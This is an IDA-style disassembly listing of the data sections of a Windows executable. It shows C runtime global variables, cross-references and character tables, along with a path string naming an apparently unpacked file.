dword_41256C	dd 400000h		; DATA XREF: sub_4050C0+64r
					; sub_405320+6Fr ...
dword_412570	dd 400000h		; DATA XREF: WinMain(x,x,x,x)+198r
		dd 1, 710h, 40FC9Ch, 9 dup(0)
dword_4125A4	dd 2			; DATA XREF: _strtoxl+165w
					; __dosmaperr+24w ...
dword_4125A8	dd 2			; DATA XREF: __dosmaperr+4w
		align 10h
dword_4125B0	dd 2			; DATA XREF: __resetstkoflw+34r
					; __resetstkoflw+B5r ...
dword_4125B4	dd 0A28h		; DATA XREF: start+49w	start+5Aw
dword_4125B8	dd 501h			; DATA XREF: start+65w
dword_4125BC	dd 5			; DATA XREF: start+32w
					; ___heap_select+9r ...
dword_4125C0	dd 1			; DATA XREF: start+3Aw
dword_4125C4	dd 1			; DATA XREF: __setargv+8Fw
dword_4125C8	dd 380B20h		; DATA XREF: __setargv+95w
		align 10h
; void *dword_4125D0
dword_4125D0	dd 380B40h		; DATA XREF: __setenvp+48w
					; __setenvp:loc_40D183r ...
		align 10h
off_4125E0	dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4125E8	db 0			; DATA XREF: _doexit+2Dw
		align 4
dword_4125EC	dd 1			; DATA XREF: _doexit+27w
dword_4125F0	dd 1			; DATA XREF: _doexit+7r _doexit+B0w
		align 8
dword_4125F8	dd 3F1BAF20h		; DATA XREF: _clock+1Er
					; ___inittime+27w
dword_4125FC	dd 1C811B9h		; DATA XREF: _clock+27r
					; ___inittime+2Cw
; void *Memory
Memory		dd 0			; DATA XREF: start+11Cw
					; __setenvp:loc_40D0E4r ...
		align 8
dword_412608	dd 0			; DATA XREF: __amsg_exitr start+D2r ...
dword_41260C	dd 0			; DATA XREF: __callnewhr
dword_412610	dd 0			; DATA XREF: _mallocr
					; _realloc:loc_40AC1Dr	...
		align 8
dword_412618	dd 0			; DATA XREF: __ValidateEH3RN:loc_40C62Dr
					; __ValidateEH3RN+13Fr	...
		align 10h
dword_412620	dd 0			; DATA XREF: __ValidateEH3RN:loc_40C640r
					; __ValidateEH3RN+1C4r	...
		dd 0Fh dup(0)
dword_412660	dd 0			; DATA XREF: __ValidateEH3RN+12Co
					; __ValidateEH3RN+191o	...
dword_412664	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_412668	dd 0			; DATA XREF: __XcptFilter+68r
					; __XcptFilter+73w ...
		align 10h
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
					; .data:off_4125E0o
		align 4
		dd 3Ah dup(0)
byte_412774	db 0			; DATA XREF: __setargv+23w
		align 4
dword_412778	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+24w ...
dword_41277C	dd 0			; DATA XREF: ___security_error_handler+17r
dword_412780	dd 1			; DATA XREF: ___crtGetStringTypeA+Er
					; ___crtGetStringTypeA+2Ew ...
		dd 2 dup(0)
; int dword_41278C
dword_41278C	dd 0			; DATA XREF: __isctype+50r
					; ___crtGetStringTypeA+14Ar ...
		dd 3 dup(0)
; int dword_41279C
dword_41279C	dd 0			; DATA XREF: __isctype+59r
					; ___crtGetStringTypeA+75r ...
		dd 0
dword_4127A4	dd 0			; DATA XREF: ___crtMessageBoxA+9r
					; ___crtMessageBoxA+38w ...
dword_4127A8	dd 0			; DATA XREF: ___crtMessageBoxA+4Dw
					; ___crtMessageBoxA:loc_40DAA1r
dword_4127AC	dd 0			; DATA XREF: ___crtMessageBoxA+5Bw
					; ___crtMessageBoxA+D6r
dword_4127B0	dd 0			; DATA XREF: ___crtMessageBoxA+7Bw
					; ___crtMessageBoxA:loc_40DA5Cr
dword_4127B4	dd 0			; DATA XREF: ___crtMessageBoxA+6Cw
					; ___crtMessageBoxA+9Cr
dword_4127B8	dd 1			; DATA XREF: __setmbcp+19w
					; __setmbcp+21w ...
dword_4127BC	dd 1			; DATA XREF: ___crtLCMapStringA+Er
					; ___crtLCMapStringA+31w ...
; int dword_4127C0
dword_4127C0	dd 0			; DATA XREF: _setSBCS+1Aw
					; _setSBUpLow+84r ...
dword_4127C4	dd 0			; DATA XREF: _setSBCS+15w
					; __setmbcp+14Dw ...
		dd 6 dup(0)
byte_4127E0	db 0			; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_4127E1	db 0			; DATA XREF: _parse_cmdline+47r
					; _parse_cmdline+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
; int dword_4128E4
dword_4128E4	dd 4E4h			; DATA XREF: _setSBCS+10w
					; _setSBUpLow+16r ...
		align 10h
dword_4128F0	dd 4 dup(0)		; DATA XREF: _setSBCS+1Fo
					; __setmbcp+162o ...
byte_412900	db 0			; DATA XREF: _setSBUpLow:loc_40DE19w
					; _setSBUpLow:loc_40DE36w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_412A00	dd 20h			; DATA XREF: __ioinit+1Fw
					; __ioinit:loc_40D552r	...
		dd 7 dup(0)
dword_412A20	dd 380650h		; DATA XREF: __ioinit:loc_40D4E3w
					; __ioinit+3Cr	...
dword_412A24	dd 3Fh dup(0)		; DATA XREF: __ioinit+91o
; void *dword_412B20
dword_412B20	dd 0			; DATA XREF: ___sbh_heap_init+21w
					; ___sbh_free_block+21Cr ...
dword_412B24	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_412B28	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_412B2C	dd 0			; DATA XREF: __heap_alloc+Er
					; _realloc+58r	...
dword_412B30	dd 0			; DATA XREF: ___sbh_heap_init+2Fw
					; ___sbh_free_block+300w ...
dword_412B34	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_412B38	dd 0			; DATA XREF: ___sbh_free_block+229r
					; ___sbh_free_block+249r ...
dword_412B3C	dd 380000h		; DATA XREF: __heap_alloc+38r
					; _free+2Ar ...
dword_412B40	dd 1			; DATA XREF: __heap_allocr
					; __heap_alloc:loc_40A716r ...
dword_412B44	dd 142340h		; DATA XREF: start+112w
					; __wincmdln:loc_40D086r ...
dword_412B48	dd 1			; DATA XREF: __setenvp+9Fw
dword_412B4C	dd 380754h		; DATA XREF: _doexit+3Er
					; _doexit:loc_40AD62r ...
; void *dword_412B50
dword_412B50	dd 380758h		; DATA XREF: _doexit+34r _doexit+5Ar ...
dword_412B54	dd 1			; DATA XREF: __wincmdln+4r
					; __setenvp+3r	...
dword_412B58	dd 0			; DATA XREF: __cinitr
_data		ends

; Section 5. (virtual address 00016000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00015A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 416000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start